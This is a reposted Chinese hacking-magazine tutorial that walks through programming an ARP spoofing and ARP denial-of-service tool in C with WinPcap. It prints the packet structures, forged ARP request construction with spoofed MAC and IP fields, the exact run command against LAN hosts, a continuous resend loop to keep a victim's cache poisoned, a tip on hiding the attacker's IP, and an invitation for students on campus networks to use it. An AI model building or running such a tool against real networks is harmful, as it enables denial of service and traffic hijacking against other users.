ARP Spoof&DoS攻擊編程(轉)

關於討論ARP哄騙的文章,黑防在第8期的《小窺ARP協議》和第9期《ARP SPOOF DoS攻防詳談》均有介紹,不過,俗話說,授人魚,不如授人以漁,更多的讀者也許期待的是如何將其原理和編程實現結合。本文的着筆點正是出於這樣的目的,更是對上述兩篇文章的一個補充,希望能給讀者們真正理解ARP攻擊的實質,同時,也給部分想學習而又害怕學習WinPcap的讀者一些“師傅領進門”的感受。
【以下測試環境爲WinXPsp1 + VC6.0sp6 + WinPcap3.14beta,其中,必須安裝WinPcap3.0以上版本的驅動。】
首先,我們通過例子來回顧一下ARP哄騙和攻擊的原理吧。先來做個實驗,先打開一個cmd窗口,輸入arp –a,該命令表示通過詢問當前協議數據來查看本機ARP緩存保存的入口地址。

 

上面表示作者本人的主機IP爲192.168.3.155,現在ARP緩存裏只有兩條IP爲192.168.3.253和192.168.3.254的ARP緩存記錄,很顯然,兩IP是作者主機所在局域網的網關(嘿嘿,校園網和ADSL),它的MAC地址爲**-**-18-23-b8-10和**-**-4c-78-22-22,類型爲dynamic,即動態緩存。
然後,ping同一局域網內的另一IP爲192.168.3.162的主機,再次輸入arp –a,得到結果。
看到,雖然PING不通,但ARP緩存卻刷新了,添加了192.168.3.162這一項記錄,並顯示其MAC地址爲**-**-ab-31-5c-3c,類型也是dynamic,顯然,對方開了防火牆並設置了禁止內發的PING包,但是仍然暴露了該主機是活動主機的事實,而且對方的ARP緩存因此而刷新。

好了,到現在,我們可以把目標定爲,僞造192.168.3.155的MAC地址爲11-22-33-44-55-66,以達到哄騙的目的。我們以此爲基點,先進入編碼的部分。因爲整個ARP Spoof&Dos都在交換環境的局域網內,涉及到的都是MAC層的通信,所以定義以太網首部和ARP首部就成爲必要的了,這樣我們纔可以構造僞數據包,如下:
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目標以太網地址*/
unsigned char eh_src[6]; /* 源以太網地址 */
unsigned short eh_type; /* 以太網包類型 */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* 硬件地址格式 */
unsigned short arp_pro; /* 協議地址格式 */
unsigned char arp_hln; /* 硬件地址長度 */
unsigned char arp_pln; /* 協議地址長度 */
unsigned short arp_op; /* ARP/RARP 操作 */

unsigned char arp_sha[6]; /* 源發送者硬件地址 */
unsigned long arp_spa; /* 源發送者協議地址 */
unsigned char arp_tha[6]; /* 目標硬件地址 */
unsigned long arp_tpa; /* 目標協議地址 */
}ARPHDR, *PARPHDR;
每個字段在註釋裏講的很詳細了,如果有疑問,可以查閱TCP/IP相關書籍。下一步,筆者的Spoof實現需要輸入2個IP地址外加一個可選的網卡地址,所以就涉及到解析輸入的主機名或IP的實現,這個相信很多寫過網絡程序的讀者都不陌生,如下:
DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 轉換成網絡地址 */
/* 如果是主機名或域名,非點分10進制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("/nError: could not resolv hostname %s/n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 轉換成32位網絡地址 */
}

return host_ip;
}
然後,需要定義一個GetInterface()函數,顧名思義,就是獲得本地主機網絡接口的意思,因爲基於WinPcap的幾乎所有應用程序都需要選擇合適的網卡適配器。(很多剛接觸WinPcap的讀者可能會感到很惶恐,好像WinPcap所用的API函數讓很多Windows程序員一下子接收不了,其實很正常,用的多了,看的多了,慢慢的,我相信讀者門會越來越喜歡強大的WinPcap的)GetInterface()定義如下:
pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得設備列表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
exit(1);
}
/* 打印設備列表*/
i = 0;
printf("/n/nInterfaces list:/n/n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)/n", d->description);
else printf(" (No description available)/n");
}
if(i == 0) {
printf("/nNo interfaces found! Make sure WinPcap is installed./n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("/n/nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("/nInterface number out of range./n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;

/* 跳到被選擇的網卡適配器接口 */
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "/n/nAdapter used: %s/n/n", d->name);
/* 從網絡上打開活動的捕獲行爲,返回一個pcap_t類型描述符 */
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("/nError: %s/n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 釋放pcap_findalldevs()打開的接口列表*/
pcap_freealldevs(alldevs);

return(fp);
}
上面的註釋已經比較清楚了,所有的涉及到的WinPcap的結構體和API函數,以及基於WinPcap程序的編譯方法,大家都可以到http://winpcap.polito.it/在線查詢或把文檔下載後本機查詢,或者到論壇詢問。在我的代碼裏,我假設如果用戶輸入可選的僞MAC地址,則使用這個自定義的僞MAC地址,如果不輸入,則使用隨機產生的僞MAC地址,代碼部分如下:
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
爲了得到由系統時鐘產生的隨機數,必須在頭文件里加入 #include <time.h>,在程序里加入srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock庫*/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完了,記住釋放哦 */
爲了使用winsock2頭文件,要指定#pragma comment(lib, "ws2_32.lib")來包含ws2_32.lib庫文件。下面就到了自定義構造以太頭和ARP頭了,這就是我們僞造MAC的加工廠:
memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* 請求服務 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 僞源MAC地址 */
arphdr->arp_spa = ip_add; /* 僞源ARP 協議地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 僞目標MAC地址 */
arphdr->arp_tpa = ip_dst; /* 僞目標ARP協議地址 */
這裏所有的宏都可以在我提供的arp.h頭文件裏得到對應的定義。每一項都很清晰,主要是構造最後的幾項(有註釋的行),那裏是滋生罪惡的源頭。
僞MAC包構造好了,最後剩下的就是發送僞數據包了,再次發揮WinPcap庫的發包函數,如下:
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到這,可以長噓一口氣,大吼一聲“打完收工”,讓我們測試一下成果,看是否能達到我們最開始預定的目標。輸入 arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先,提示輸入接口號,因爲WinPcap庫必須選擇正確的網卡適配器接口,在筆者機子上,安裝了2個虛擬機,所以有4個接口,2號接口代表本系統網卡接口,所以選2(你的可能不同哦),回車後,發現右下腳馬上提示IP地址衝突…嘿嘿,我們來分析一下,arpspoof.exe是我們哄騙程序,192.168.3.155是筆者的IP地址,192.168.3.162是同一局域網內另一主機IP,就是把192.168.3.155地址的MAC地址11-22-33-44-55-66添加到192.168.3.162這臺主機的動態ARP緩存裏,攻擊過後,192.168.3.162的ARP緩存。
剛纔我把自己的IP當做參數一導致了自己的IP衝突,那如果我想使192.168.3.162這臺機子產生IP衝突,就可以調換一下參數一和參數二的位置,即
大家想想什麼原理,呵呵,這裏我就不多說了。如果想隱瞞作爲攻擊者的IP,第2個參數可以改成網段內的任意其他的IP。這樣,我們發起一次攻擊,192.168.3.162的主機就產生一次IP衝突,但這樣肯定是不夠的,每隔一段時間,對方的ARP緩存就會刷新一次,所以,如果要進行一次ARP Dos攻擊的話,我們還必須不斷的給他們發,以保證對方ARP緩存始終是我們構造的僞MAC地址。實現很簡單,如下:
while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("/nError: problems for sending packet/n");
exit(1);
}
printf(".");
sleep(DELAY); /* 這裏的#define DELAY (CLOCKS_PER_SEC >> 1) 即半秒 */
}
攻擊過程。
點點就表示每隔半秒發送一次ARP包。結果是,在被DoS攻擊後,如果再次PING
192.168.3.162,即使對方不開防火牆,也沒有禁止INNER PING,卻仍然PING不通,查看
自己的ARP緩存,我們發現,對方的MAC地址編程了00-00-00-00-00-00,攻擊成功。
小結:
在瞭解了ARP Spoof&Dos攻擊的原理後,實現起來就不那麼難了。大學校園網常常因爲IP資源的嚴重不足而發生同學們互搶IP的現象,有懂一點ARP哄騙的學生就用網絡執法官等工具,而不懂的的就只有任人宰割,如果你還是那被宰割的一部分人中的一個,那麼看完了本文的你,是不是也該做點什麼了呢。(在光盤的源代碼文件裏,只提供了一個源代碼文件arpspoof.cpp,它的作用是實現給目標IP添加ARP緩存,而arpdos.cpp我沒有提供,防止有人做壞事,呵呵,如果你是真心抱着學習的態度,那麼我相信看完這篇文章應該對ARP、IP欺騙有相當的理解。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章